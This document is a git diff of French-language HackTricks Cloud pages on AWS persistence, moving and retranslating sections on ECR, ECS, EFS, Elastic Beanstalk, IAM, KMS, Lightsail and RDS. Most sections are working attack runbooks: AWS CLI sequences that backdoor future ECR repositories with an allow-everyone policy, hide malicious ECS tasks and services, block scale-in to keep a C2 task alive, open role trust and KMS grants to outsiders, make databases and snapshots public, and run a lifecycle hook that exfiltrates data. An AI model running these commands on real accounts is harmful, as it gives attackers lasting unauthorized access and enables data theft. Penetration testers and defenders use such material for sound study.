### Modèles de création de repository (préfixe backdoor pour les futurs repos)
|
||||
|
||||
Abuser des Repository Creation Templates d'ECR pour backdoor automatiquement tout repository qu'ECR crée automatiquement sous un préfixe contrôlé (par exemple via Pull-Through Cache ou Create-on-Push). Cela accorde un accès persistant non autorisé aux futurs repos sans toucher aux existants.
|
||||
|
||||
- Permissions requises : ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (utilisé par le template), iam:PassRole (si un rôle personnalisé est attaché au template).
|
||||
- Impact : Tout nouveau repository créé sous le préfixe ciblé hérite automatiquement d'une repository policy contrôlée par l'attaquant (p. ex., lecture/écriture inter-compte), de la mutabilité des tags et des paramètres d'analyse par défaut.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor les futurs repos créés par PTC sous un préfixe choisi</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tâche ECS Périodique Cachée
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **programmer l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données ou maintenir la persistance dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Conteneur de porte dérobée dans une définition de tâche ECS existante
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Un attaquant peut ajouter un **conteneur de porte dérobée furtif** dans une définition de tâche ECS existante qui s'exécute aux côtés de conteneurs légitimes. Le conteneur de porte dérobée peut être utilisé pour la persistance et pour effectuer des activités malveillantes.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Service ECS non documenté
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Tester
|
||||
|
||||
Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En définissant le nombre souhaité de tâches à un minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de remarquer le service malveillant.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,151 @@
|
||||
# AWS - ECS Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tâche ECS périodique cachée
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Tester
|
||||
|
||||
Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution périodique d'une tâche malveillante**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données, ou maintenir la persistance dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester
|
||||
|
||||
Un attaquant peut ajouter un **stealthy backdoor container** dans une ECS task definition existante qui s'exécute aux côtés des conteneurs légitimes. Le backdoor container peut être utilisé pour la persistance et pour mener des activités malveillantes.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Service ECS non documenté
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester
|
||||
|
||||
Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En réglant le nombre souhaité de tâches au minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de détecter le service malveillant.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### Persistance sur ECS via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Abuse ecs:UpdateTaskProtection pour empêcher les tâches de service d'être arrêtées par des événements de scale‑in et des déploiements progressifs. En prolongeant continuellement la protection, un attaquant peut maintenir une tâche longue durée en fonctionnement (pour du C2 ou la collecte de données) même si les défenseurs réduisent desiredCount ou poussent de nouvelles révisions de tâche.
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impact : Une tâche protégée reste RUNNING malgré desiredCount=0 et bloque les remplacements lors de nouveaux déploiements, permettant une persistence furtive et de longue durée au sein du service ECS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modifier la politique de ressource / Groupes de sécurité
|
||||
|
||||
En modifiant la **politique de ressource et/ou les groupes de sécurité**, vous pouvez essayer de persister votre accès au système de fichiers.
|
||||
|
||||
### Créer un point d'accès
|
||||
|
||||
Vous pourriez **créer un point d'accès** (avec un accès root à `/`) accessible depuis un service où vous avez mis en œuvre **autre persistance** pour maintenir un accès privilégié au système de fichiers.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
En modifiant la **resource policy et/ou security groups**, vous pouvez essayer de maintenir votre accès au système de fichiers.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
Vous pouvez **create an access point** (avec un accès root à `/`) accessible depuis un service où vous avez implémenté **other persistence** afin de conserver un accès privilégié au système de fichiers.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,35 +1,35 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
# AWS - Elastic Beanstalk Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistance dans l'Instance
|
||||
### Persistance dans l'instance
|
||||
|
||||
Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**.
|
||||
Pour maintenir la persistance dans le compte AWS, un **mécanisme de persistance pourrait être introduit dans l'instance** (cron job, ssh key...) permettant à l'attaquant d'y accéder et de voler IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor dans la Version
|
||||
### Backdoor dans la version
|
||||
|
||||
Un attaquant pourrait introduire une backdoor dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa backdoor et le code attendu.
|
||||
Un attaquant pourrait introduire un backdoor dans le code du repo S3 afin qu'il exécute toujours son backdoor en plus du code attendu.
|
||||
|
||||
### Nouvelle version avec backdoor
|
||||
### Nouvelle backdoored version
|
||||
|
||||
Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec backdoor.
|
||||
Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle backdoored version de l'application.
|
||||
|
||||
### Abus des Hooks de Cycle de Vie des Ressources Personnalisées
|
||||
### Abuser des Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
> TODO : Tester
|
||||
|
||||
Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**.
|
||||
Elastic Beanstalk fournit des lifecycle hooks qui permettent d'exécuter des scripts personnalisés lors du provisioning et de la terminaison des instances. Un attaquant pourrait **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
@@ -72,4 +72,4 @@ Fn::GetAtt:
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence IAM courante
|
||||
|
||||
- Créer un utilisateur
|
||||
- Ajouter un utilisateur contrôlé à un groupe privilégié
|
||||
- Créer des clés d'accès (de l'utilisateur nouvel ou de tous les utilisateurs)
|
||||
- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques en ligne)
|
||||
- Désactiver MFA / Ajouter votre propre appareil MFA
|
||||
- Créer une situation de jonglage de chaîne de rôle (plus d'informations ci-dessous dans la persistance STS)
|
||||
|
||||
### Politiques de confiance de rôle de porte dérobée
|
||||
|
||||
Vous pourriez créer une porte dérobée dans une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Version de la politique de porte dérobée
|
||||
|
||||
Donnez des permissions d'administrateur à une politique qui n'est pas sa dernière version (la dernière version doit sembler légitime), puis assignez cette version de la politique à un utilisateur/groupe contrôlé.
|
||||
|
||||
### Porte dérobée / Créer un fournisseur d'identité
|
||||
|
||||
Si le compte fait déjà confiance à un fournisseur d'identité commun (comme Github), les conditions de confiance pourraient être augmentées afin que l'attaquant puisse en abuser.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistance IAM courante
|
||||
|
||||
- Créer un utilisateur
|
||||
- Ajouter un utilisateur contrôlé à un groupe privilégié
|
||||
- Créer des clés d'accès (du nouvel utilisateur ou de tous les utilisateurs)
|
||||
- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques inline)
|
||||
- Désactiver le MFA / Ajouter votre propre appareil MFA
|
||||
- Créer une situation de Role Chain Juggling (plus d'infos ci-dessous dans la persistance STS)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Vous pouvez backdoor une trust policy afin de pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Donner des permissions Administrator à une policy qui n'est pas dans sa dernière version (la dernière version doit sembler légitime), puis assigner cette version de la policy à un user/group contrôlé.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Si le compte fait déjà confiance à un identity provider courant (comme Github), les conditions du trust pourraient être étendues afin que l'attaquant puisse en abuser.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Accorder l'accès via les politiques KMS
|
||||
|
||||
Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) pour plus d'informations.
|
||||
|
||||
### Grant éternel
|
||||
|
||||
Les grants sont une autre façon de donner à un principal certaines permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
|
||||
|
||||
Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant devrait surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
|
||||
|
||||
(Nous utilisons 10 et non 2 pour pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur a encore des grants)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Un grant peut donner des permissions uniquement à partir de ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner l'accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../../aws-privilege-escalation/aws-kms-privesc/README.md) pour plus d'informations.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Les grants sont une autre manière d'accorder à un principal des permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
|
||||
|
||||
Ainsi, il est possible qu'un utilisateur possède 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
|
||||
|
||||
(Nous utilisons 10 et non 2 afin de pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur possède encore des grants)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Un grant peut accorder des permissions uniquement depuis ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Télécharger les clés SSH de l'instance et les mots de passe de la base de données
|
||||
|
||||
Ils ne seront probablement pas changés, donc les avoir est une bonne option pour la persistance.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaquant pourrait accéder aux instances et les backdoor :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **clé SSH publique**
|
||||
- En exposant un port avec du port knocking avec une backdoor
|
||||
|
||||
### Persistance DNS
|
||||
|
||||
Si des domaines sont configurés :
|
||||
|
||||
- Créez un sous-domaine pointant vers votre IP afin d'avoir un **subdomain takeover**
|
||||
- Créez un enregistrement **SPF** vous permettant d'envoyer des **emails** depuis le domaine
|
||||
- Configurez l'**IP du domaine principal à la vôtre** et effectuez un **MitM** de votre IP vers les légitimes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Télécharger les clés SSH des instances et les mots de passe DB
|
||||
|
||||
Ils ne seront probablement pas modifiés, donc les conserver constitue une bonne option pour la persistance.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaquant pourrait accéder aux instances et y installer une backdoor :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel, par exemple
|
||||
- Ajouter une nouvelle **public SSH key**
|
||||
- Exposer un port via du **port knocking** avec une backdoor
|
||||
|
||||
### DNS persistance
|
||||
|
||||
Si des domaines sont configurés :
|
||||
|
||||
- Créer un sous-domaine pointant vers votre IP afin d'obtenir un **subdomain takeover**
|
||||
- Créer un enregistrement **SPF** vous permettant d'envoyer des **e-mails** depuis le domaine
|
||||
- Configurer l'IP du domaine principal sur la vôtre et effectuer un **MitM** depuis votre IP vers celles légitimes
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rendre l'instance accessible publiquement : `rds:ModifyDBInstance`
|
||||
|
||||
Un attaquant ayant cette permission peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Créer un utilisateur admin dans la DB
|
||||
|
||||
Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur maître est modifié, il **ne perd pas l'accès** à la base de données.
|
||||
|
||||
### Rendre le snapshot public
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rendre une instance accessible publiquement : `rds:ModifyDBInstance`
|
||||
|
||||
